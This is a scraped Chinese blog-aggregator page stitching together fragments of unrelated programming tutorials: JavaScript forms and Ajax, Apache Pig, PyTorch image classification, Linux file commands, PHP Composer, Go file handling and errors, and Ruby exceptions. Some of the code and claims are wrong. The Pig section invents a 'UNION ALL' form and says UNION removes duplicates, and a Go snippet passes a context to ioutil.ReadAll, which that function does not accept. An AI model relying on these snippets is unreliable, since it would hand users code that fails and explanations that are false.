document.getELementsByName("name属性值");var uno = document.getElementsByName("uno")[0].value;console.log(uno);// 4. document.getELementsByTagName("标签名/元素名");var intro = document.getElementsByTagName("textarea")[0].value;console.log(intro);}function getSelect() {//获取下拉框对象var ufrom = document.getElementById("ufrom");console.log(ufrom);//获取下拉框的下拉选项列表var opts = ufrom.options;console.log(opts);//获取下拉框被选中项的索引var index = ufrom.selectedIndex;console.log("选中项的下标:" + index);//获取下拉框被选中项的值var val = ufrom.value;console.log("被选中项的值:" + val);//通过选中项的下标获取下拉框被选中项的值var val2 = ufrom.options[index].value;console.log("被选中项的值:"+ val2);//获取下拉框被选中项的文本var txt=ufrom.options[index].text; console.log("被选中项的文本:"+ txt);}</script> 运行效果截图: 三、提交表单 提交表单一、使用普通按钮type="button"1.给按钮绑定click点击事件,绑定函数2.在函数中,进行表单校验(非空校验、 合法性校验等)3.如果校验通过,则手动提交表单表单对象.submit();二、使用提交按钮type="submit"1.给按钮绑定click点击事件,绑定函数2.函数需要有返回值,返回true或false (如果return false, 则表单不会提交:如果return true,则提交表单)onclick="return 函数名()"3.在函数中,进行表单校验(非空校验、 合法性校验等)4.如果校验通过,返回true;如果校验不通过,则返回false, 则表单不会提交:如果return true,则提交表单)三、使用提交按钮type="submit"1.给表单form元素绑定submit提交事件,绑定函数2.函数需要有返回值,返回true或false (如果return false, 则表单不会提交;如果return trueonsubmit="return函数名()" 3.在函数中,进行表单校验(非空校验、 合法性校验等)4.如果校验通过,返回true;如果校验不通过,则返回false <!--使用普逍按钮 type= "button"--><form id= 'myform' name= "myform" action="http://www.baidu.com" method="get" >姓名: <input name= "uname" id="uname"/> <span id = "msg" style="font-s1ze: 12px; color: red;"></span><br /><button type="button" onclick="submitForm1()">提交</button></form><!--使用提交按钮 type= "submit"--><form id= 'myform2' name= "myform2" action="http://www.baidu.com" method="get" >姓名: <input name= "uname2" id="uname2"/> <span id = "msg2" style="font-s1ze: 12px; color: red;"></span><br /><button type="submit" onclick="return submitForm2()">提交</button></form><!--使用提交按钮 type= "submit"--><form id= 'myform3' name= "myform3" action="http://www.baidu.com" method="get" onsubmit="return submitForm3()">姓名: <input name= "uname3" id="uname3"/> <span id = "msg3" style="font-s1ze: 12px; color: red;"></span><br /><button type="submit">提交</button></form><script type="text/javascript">// 表单校验// 提交表单function submitForm1() {//得到文本框的值var uname = document.getElementById("uname").value;//判断是否为空if (isEmpty(uname)) { //为空//设置提示信息(设置span元素的值)document.getElementById("msg").innerHTML="性名不能为空!" ;//阻止表单提交return;}//手动提交表单document.getElementById("myform").submit(); }function submitForm2() {//得到文本框的值var uname2 = document.getElementById("uname2").value;//判断是否为空if (isEmpty(uname2)) { //为空//设置提示信息(设置span元素的值)document.getElementById("msg2").innerHTML="性名不能为空!" ;//阻止表单提交return false;}return true;}function submitForm3() {//得到文本框的值var uname3 = document.getElementById("uname3").value;//判断是否为空if (isEmpty(uname3)) { //为空//设置提示信息(设置span元素的值)document.getElementById("msg3").innerHTML="性名不能为空!" ;//阻止表单提交return false;}return true;}/ 判断字符串是否为空如果为空,返回true如果非空,返回falsetrim() :字符串方法, 去除字符串前后空格@param {Object} str/function isEmpty(str) {//判断是否为空if (str == null || str.trim() == "") {return true;}return false;}</script> 运行效果截图: 四、原生Ajax实现流程 <!-- Ajax 异步无刷新技术原生Ajax的实现流程1.得到XMLHttpRequest对象var xhr = new XMLHttpRequest();2.打开请求xhr.open(method, uri, async) ;method:请求方式,通常是GEI|POSTurl:请求地址async:是否异步。如果是true表示异步,false表示同步3.发送请求xhr.send(params);params:请求时需要传递的参数如果是GET请求,设置nu11。 (GET请求的参数设置在url后面)如果是POST请求,无参数设置为null,有参数则设置参数4.接收响应xhr.status响应状态(200=响应成功, 404=资源末找到,500=服务器异常)xhr.responseText 得到响应结果 --> <script type="text/javascript">// 同步请求function text01() {// 1.得到XMLHttpRequest对象var xhr = new XMLHttpRequest();// 2.打开请求xhr.open("get", "js/date.json", false);// 3.发送请求xhr.send(null);// 4.判断响应状态if (xhr.status == 200) {console.log("响应成功");} else {console.log("状态码:" + xhr.status + ",原因:" + xhr.responseText)}console.log("同步请求...");}text01();// 异步请求function text02() {// 1.得到XMLHttpRequest对象var xhr = new XMLHttpRequest();// 2.打开请求xhr.open("get", "js/date.json", true);// 3.发送请求xhr.send(null);// 由于是异步请求,所以需要知道后台已经将请求处理完毕,才能获取响应结果// 遇过监听readyState的变化来得知后面的处理状态 4=完全处理xhr.onreadystatechange = function(){if(xhr.readyState == 4){// 4.判断响应状态if (xhr.status == 200) {// 得到响应结果 console.log(xhr.responseText);} else {console.log("状态码:" + xhr.status + ",原因:" + xhr.responseText)} }}console.log("异步请求...");}text02();</script> 运行效果截图: 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_61507413/article/details/122895643。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-22 17:32:41
521
转载
Apache Pig
...a/users_1.txt' USING PigStorage(',') AS (id:int, name:chararray); -- 定义第二个表 users_2 = LOAD 'data/users_2.txt' USING PigStorage(',') AS (id:int, name:chararray); -- 使用UNION ALL合并两个表 merged_users_all = UNION ALL users_1, users_2; DUMP merged_users_all; 运行这段代码后,你会看到所有用户的信息都被合并到了一起,即使有重复的名字也不会被去掉。 3.2 示例二:利用UNION去除重复数据 现在,我们再来看一个稍微复杂一点的例子,假设我们有一个用户数据表users,其中包含了一些重复的用户记录: pig -- 加载数据 users = LOAD 'data/users.txt' USING PigStorage(',') AS (id:int, name:chararray); -- 去除重复数据 unique_users = UNION users; DUMP unique_users; 在这个例子中,UNION操作会自动帮你去除掉所有的重复行,这样你就得到了一个不包含任何重复项的用户列表。 4. 思考与讨论 在实际工作中,选择使用UNION ALL还是UNION取决于你的具体需求。如果你确实需要保留所有数据,包括重复项,那么UNION ALL是更好的选择。要是你特别在意最后的结果里头不要有重复的东西,那用UNION就对了。 另外,值得注意的是,UNION操作可能会比UNION ALL慢一些,因为它需要额外的时间来进行去重处理。所以,在处理大量数据时,需要权衡一下性能和数据的完整性。 5. 结语 好了,今天的分享就到这里了。希望能帮到你,在实际项目里更好地上手UNION ALL和UNION这两个操作。如果你有任何问题或者想要了解更多内容,欢迎随时联系我!
2025-01-12 16:03:41
81
昨夜星辰昨夜风
转载文章
...├── train.txt│ │ ├── val│ │ └── val.txt│ └── garbage_label.txt├── analyzer│ ├── 01 垃圾分类_一级分类 数据分布.ipynb│ ├── 02 垃圾分类_二级分类 数据分析.ipynb│ ├── 03 数据加载以及可视化.ipynb│ ├── 03 数据预处理-缩放&裁剪&标准化.ipynb│ ├── garbage_label_40 标签生成.ipynb├── models│ ├── alexnet.py│ ├── densenet.py│ ├── inception.py│ ├── resnet.py│ ├── squeezenet.py│ └── vgg.py├── facebook│ ├── app_resnext101_WSL.py│ ├── facebookresearch_WSL-Images_resnext.ipynb│ ├── ResNeXt101_pre_trained_model.ipynb├── checkpoint│ ├── checkpoint.pth.tar│ ├── garbage_resnext101_model_9_9547_9588.pth├── utils│ ├── eval.py│ ├── json_utils.py│ ├── logger.py│ ├── misc.py│ └── utils.py├── args.py├── model.py├── transform.py├── garbage-classification-using-pytorch.py├── app_garbage.py data: 训练数据和验证数据、标签数据 checkpoint: 日志数据、模型文件、训练过程checkpoint中间数据 app_garbage.py:在线预测服务 garbage-classification-using-pytorch.py:训练模型 models:提供各种pre_trained_model ,例如:alexlet、densenet、resnet,resnext等 utils:提供各种工具类,例如;重新flask json 格式,日志工具类、效果评估 facebook: 提供facebook 分类器神奇的分类预测和数据预处理 analyzer: 数据分析和数据预处理模块 transform.py:通过pytorch 进行数据预处理 model.py: resnext101 模型集成以及调整、模型训练和验证函数封装 resnext101网络架构 pre_trained_model resnext101 网络架构原理 基于pytorch 数据处理、resnext101 模型分类预测 在线服务API 接口 垃圾分类-训练 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--lr 0.001 \--optimizer adam \--start_epoch 1 \--epochs 10 \--num_classes 40 model_name 模型名称 lr 学习率 optimizer 优化器 start_epoch 训练过程断点重新训练 num_classes 分类个数 垃圾分类-评估 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--evaluate \--resume checkpoint/checkpoint.pth.tar \--num_classes 40 model_name 模型名称 evaluate 模型评估 resume 指定checkpoint 文件路径,保存模型以及训练过程参数 垃圾分类-在线预测 python app_garbage.py \--model_name resnext101_32x16d \--resume checkpoint/garbage_resnext101_model_2_1111_4211.pth model_name 模型名称 resume 训练模型文件路径 模型预测 命令行验证和postman 方式验证 举例说明:命令行模式下预测 curl -X POST -F file=@cat.jpg http://ip:port/predict 最后,我们从0到1教大家掌握如何进行垃圾分类。通过本学习,让你彻底掌握AI图像分类技术在我们实际工作中的应用。 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 本篇文章为转载内容。原文链接:https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-10 23:48:11
517
转载
转载文章
...1 touch a.txt 创建一个a.txt文件 一开始使用ls命令查看当前目录显示没有文件,然后使用touch命令创建了一个a.txt文件 实例2更改a.txt的时间 可以看到文件名没有改变,只有时间改变了 五、mkdir命令 mkdir命令可以创建一个目录 命令格式: mkdir 【选项】【文件名】 命令选项参数: -p : 递归创建目录 -v : 创建新目录显示信息 实例1 mkdir abc 创建一个空目录 实例2 mkdir -p test/test1 递归创建多个目录 实例3 mkdir-v hao 创建新目录显示信息 六、cp 命令 cp命令用来对一个或多个文件,目录进行拷贝 命令格式: cp【选项】【参数】 命令选项 -r 递归的复制子文件或子目录 -a 复制时保留源文档的所有属性(包括权限、时间等) 实例1 cp -a a.txt test 复制a.txt的所有属性复制到test 实例2 cp -r text /opt 复制text下的所有子文件到opt下 七、rm 命令 rm命令可以删除不需要的文件或者目录 命令格式 rm 【选项】【文件】 选项:-i 删除前,提示是否删除 -f 不提示,强制删除-r 递归删除,删除目录以及目录下的所有内容 实例1 rm -i a.txt删除a.txt 并显示提示 实例2 rm -f text 强制删除text 实例3 rm -r test 递归删除test下所有子文件 实例4 rm -rf hao 递归强制删除文件 八、mv命令 mv命令用来移动或者重命名文件或目录 实例1 mv a.txt b.txt 将a.txt改名为b.txt 实例2 mv b.txt /opt 将b.txt 移动到opt下 九、 find 命令 find命令用来搜索文件或目录 命令格式: find 【命令选项】【路径】【表达式选项】 命令选项: -empty 查找空白文件或目录 -group 按组查找 -name 按文档名称查找 -iname 按文档名称查找,且不区分大小写 -mtime 按修改时间查找 -size 按容量大小查找 -type 按文档类型查找,文件(f),目录(d),设备(b,c),链接(l)等 -user 按用户查找 -exec 对找到的档案执行特定的命令 -a 并且 -o 或者 查找当前目录下所有的普通文件 find ./ -type f 查找大于1mb的文件后列出文件的详细信息‘ find ./ -size +1M -exec ls – l {} ; 查找计算机中所有大于1mb的文件 find / -size +1M -a -type f 查找当前目录下名为hello.doc 的文档 find -name hello.doc 查找/root目录下所有名称以.log 结尾的文档 十、du命令 用来计算文件或目录的容量大小 命令格式: du 【选项】 【文件或目录】 命令选项: -h 人性化显示容量信息 -a 查看所有目录以及文件的容量信息 -s 仅显示总容量 实例1 du -h /opt 实例2 du -a /opt 实例3 du -s /opt 2.1.2查看文件内容 一、 cat 命令 cat命令用来查看文件内容 命令格式: cat 【选项】 【文件】 选项命令 -b 显示行号,空白行不显示行号 -n 显示行号,包含空白行 实例1. cat /opt/test 查看test里面的内容 实例2.cat -n /opt/test 显示行号 二、more命令和less命令 more命令可以分页查看文件内容,通过空格键查看下一页,q键则退出查看。 less命令也可以分页查看文件内容,空格是下一页,方向键可以上下翻页,q键退出查看 命令格式: more 【文件名】 用来查看指定文件 more -num 【文件名】 可以指定显示行数 less 【文件名】 查看指定文件 三、head 命令 head 命令可以查看文件头部内容,默认显示前10行 命令格式 head -6 【文件名】 显示的是文件前6行 head -n -6 【文件名】 显示除了最后6行最后的行 head -c 10 【文件名】显示前十个字节的数据 四、tail 命令 tail命令用来查看文件尾部内容,默认显示后10行 命令格式: tail -6 【文件名】 显示最后6行 tail -f 【文件名】即时显示文件中新写入的行 五、wc 命令 wc命令用来显示文件的行、单词与字节统计信息 命令格式: wc 【选项】【文件】 选项: -c 显示文件字节统计信息 -l 显示文件行数统计信息 -w 显示文件单词统计信息 实例1 依次显示文件的行数,单词数,字节数 实例2 使用-c选项显示文件的字节信息 实例3 使用-l 选项显示文件行数 实例4 使用-w选项显示文件单词个数 六、grep命令 grep命令用来查找关键字并打印匹配的值 命令格式: grep【选项】 匹配模式【文件】 选项: -i 查找时忽略大小写 -v 取反匹配 -w 匹配单词 –color 显示颜色 实例1 在test文件中过滤出包含a的行 实例2 过滤不包含a关键词的行 七、echo 命令 echo命令用来输出显示一行指定的字符串 实例1 显示一行普通的字符串 实例2 显示转义字符使用-e选项 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zenian_dada/article/details/88669234。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-16 19:29:49
511
转载
PHP
...bash Your requirements could not be resolved to an installable set of packages. Problem 1 - Root composer.json requires packageA ^1.2 -> satisfiable by packageA[1.2.0]. - packageB v2.0.0 requires packageA ^2.0 -> no matching package found. - Root composer.json requires packageB ^2.0 -> satisfiable by packageB[v2.0.0]. 解析与解决: 这种报错意味着你试图安装的组件之间存在版本兼容性问题。你需要根据错误提示调整composer.json中的版本约束,例如: json { "require": { "packageA": "^1.2 || ^2.0", "packageB": "^2.0" } } 然后重新运行 composer update 或 composer install 来解决版本冲突。 5. 结语 拥抱挑战,不断探索 在面对Composer安装组件时的种种“小插曲”,身为PHP开发者的我们不仅要学会及时解决问题,更要在每一次调试中积累经验,理解Composer背后的工作原理,从而更加游刃有余地驾驭这一强大工具。毕竟,编程这趟旅程可不是全程顺风顺水的,正是这些时不时冒出来的小挑战、小插曲,才让我们的技术探索之路变得丰富多彩,充满了思考琢磨、不断成长的乐趣和惊喜。
2023-06-18 12:00:40
85
百转千回_
Golang
...("newfile.txt") if err != nil { panic(err) } defer file.Close() // 写入内容 _, err = file.WriteString("Hello, Gophers!") if err != nil { panic(err) } - io/ioutil包则封装了一些方便的I/O操作,如一次性读取或写入整个文件内容。 go import ( "io/ioutil" "log" ) // 读取整个文件内容 content, err := ioutil.ReadFile("newfile.txt") if err != nil { log.Fatal(err) } fmt.Println(string(content)) 2. 异常处理和错误检查 在进行文件操作时,我们必须重视异常处理。在Go语言里,它选择了一种不那么抛出异常的方式来处理问题,而是通过返回错误信息的方式。这就意味着,每当我们要对文件进行操作的时候,都得小心翼翼地去瞅瞅函数返回的结果,看看是否藏着什么错误消息。 go // 检查文件是否存在 _, err := os.Stat("myfile.txt") if os.IsNotExist(err) { fmt.Println("File does not exist.") } else if err != nil { // 处理其他非预期的错误 panic(err) } 3. 使用上下文(Context)进行控制 在处理大文件或者网络文件系统时,可能会涉及长时间运行的操作。Go的context包能帮助我们优雅地取消长时间运行的任务。例如,在读取大文件时,我们可以适时地中止IO操作。 go import ( "context" "io/ioutil" "time" ) ctx, cancel := context.WithTimeout(context.Background(), 5time.Second) defer cancel() data, err := ioutil.ReadAll(ctx, openFile("largefile.bin")) if err != nil { select { case <-ctx.Done(): fmt.Println("Read operation timed out.") default: panic(err) } } 4. 并发操作 同步与互斥 Go的并发特性使得同时对多个文件进行操作变得轻而易举,但同时也需要注意同步问题。在日常使用中,比如大家伙都在同一个文件夹里操作文件的时候,咱们得聪明点,巧妙运用像sync.Mutex这样的同步工具,来避免出现资源争夺的情况哈。就像是大家一起玩一个游戏,要轮流来,不能抢,这样才能保证每个人的操作都能顺利完成,不乱套。 go import ( "os" "sync" ) var mutex = &sync.Mutex{} func writeFile(filename string, content string) { mutex.Lock() defer mutex.Unlock() file, err := os.Create(filename) if err != nil { panic(err) } defer file.Close() _, err = file.WriteString(content) if err != nil { panic(err) } } // 在多个goroutine中调用writeFile函数,此时它们会按照顺序依次执行 总之,熟练掌握Go语言进行文件系统操作的关键在于理解并正确应用相关API,严谨对待错误处理,充分利用Go的并发特性并妥善解决由此带来的同步问题。希望以上的探讨和实例代码能实实在在帮到你,让你更溜地掌握Go语言在操作文件系统方面的绝活儿,这样一来,你的程序设计不仅效率更高,还更稳更靠谱!
2024-02-24 11:43:21
428
雪落无痕
Golang
...tent_file.txt") if err != nil { // 必须检查并处理这个可能的错误 fmt.Println("Error reading file:", err) return } fmt.Println(string(data)) } 上述代码展示了Golang中典型的错误处理方式。你知道吗,当你用os.ReadFile去读取一个文件的时候,如果这个文件压根不存在,它可不会老老实实地啥也不干。相反,它会抛给你一个非nil的错误信息,就像在跟你抗议:“喂喂,你要找的文件我找不到呀!”要是你对这个错误不管不顾,那就好比你在马路上看见红灯却硬要闯过去,程序可能会出现一些意想不到的状况,甚至直接罢工崩溃。所以啊,对于这种小脾气,咱们还是得妥善处理才行。 3. 未处理异常的危害及后果 --- 让我们看看一个未正确处理错误的例子: go func riskyFunction() { _, err := os.Open("unreliable_resource") // 不处理返回的错误 // ... } func main() { riskyFunction() // 后续的代码将继续执行,尽管前面可能已经发生了错误 } 在上面的代码片段中,riskyFunction函数并未处理os.Open可能返回的错误,这会导致如果打开资源失败,程序并不会立即停止或报告错误,反而可能会继续执行后续逻辑,产生难以预料的结果,比如数据丢失、状态混乱甚至系统崩溃。 4. 如何妥善处理异常情况 --- 为了避免上述情况,我们需要养成良好的编程习惯,始终对所有可能产生错误的操作进行检查和处理: go func safeFunction() error { file, err := os.Open("important_file.txt") if err != nil { return fmt.Errorf("failed to open the file: %w", err) // 使用%w包裹底层错误以保持堆栈跟踪 } defer file.Close() // 其他操作... return nil // 如果一切顺利,返回nil表示无错误 } func main() { err := safeFunction() if err != nil { fmt.Println("An error occurred:", err) os.Exit(1) // 在主函数中遇到错误时,可以优雅地退出程序 } } 在以上示例中,我们确保了对每个可能出错的操作进行了捕获并处理,这样即使出现问题,也能及时反馈给用户或程序,而不是让程序陷入未知的状态。 5. 结语 --- 总之,编写健壮的Golang应用程序的关键在于,时刻关注并妥善处理代码中的异常情况。虽然Go语言没有那种直接内置的异常处理功能,但是它自个儿独创的一种错误处理模式可厉害了,能更好地帮我们写出既清晰又易于掌控的代码,让编程变得更有逻辑、更靠谱。只有当我们真正把那些藏起来的风险点都挖出来,然后对症下药,妥妥地处理好,才能保证咱们的程序在面对各种难缠复杂的场景时,也能稳如老狗,既表现出强大的实力,又展现无比的靠谱。所以,甭管你是刚摸Go语言的小白,还是已经身经百战的老鸟,都得时刻记在心里:每一个错误都值得咱好好对待,这可是对程序生命力的呵护和尊重呐!
2024-01-14 21:04:26
529
笑傲江湖
Ruby
...tant_file.txt', 'w') begin 对文件进行操作,这里可能出现异常 file.write('Critical data...') rescue Exception => e puts "Error occurred while writing to the file: {e.message}" ensure 不管是否发生异常,这段代码总会被执行 file.close unless file.nil? end 在这段代码中,无论写入文件的操作是否成功,我们都能够确保file.close会被调用,这样就可以避免因未正常关闭文件而造成的数据丢失或系统资源泄露的问题。 3. 定制化异常处理 rescue多个类型 Ruby允许你根据不同的异常类型进行定制化的处理,这样可以更加精确地控制程序的行为: ruby begin 可能产生多种类型的异常 divide_by_zero = 1 / 0 non_existent_file = File.read('non_existent_file.txt') rescue ZeroDivisionError => e puts "Whoops! You can't divide by zero: {e.message}" rescue Errno::ENOENT => e puts "File not found error: {e.message}" ensure 同样确保这里的资源清理逻辑总能得到执行 puts 'Cleaning up resources...' end 通过这种方式,我们可以针对不同类型的异常采取不同的恢复策略,同时也能确保所有必要的清理工作得以完成。 4. 思考与总结 处理异常和管理资源并不是一门精确科学,而是需要结合具体场景和需求的艺术。在Ruby的天地里,咱们得摸透并灵活玩转begin-rescue-end-ensure这套关键字组合拳,好让咱编写的代码既结实耐摔又运行飞快。这不仅仅说的是程序的稳定牢靠程度,更深层次地反映出咱们开发者对每个小细节的极致关注,以及对产品品质那份永不停歇的执着追求。 每一次与异常的“交锋”,都是我们磨砺技术、提升思维的过程。只有当你真正掌握了在Ruby中妥善处理异常,确保资源被及时释放的窍门时,你才能编写出那种既能经得起风吹雨打,又能始终保持稳定运行的应用程序。就像是建造一座坚固的房子,只有把地基打得牢靠,把每一处细节都照顾到,房子才能既抵御恶劣天气,又能在日常生活中安全可靠地居住。同样道理,编程也是如此,特别是在Ruby的世界里,唯有妥善处理异常和资源管理,你的应用程序才能健壮如牛,无惧任何挑战。这就是Ruby编程的魅力所在,它挑战着我们,也塑造着我们。
2023-09-10 17:04:10
89
笑傲江湖
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
umount /mnt
- 卸载已挂载的目录。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"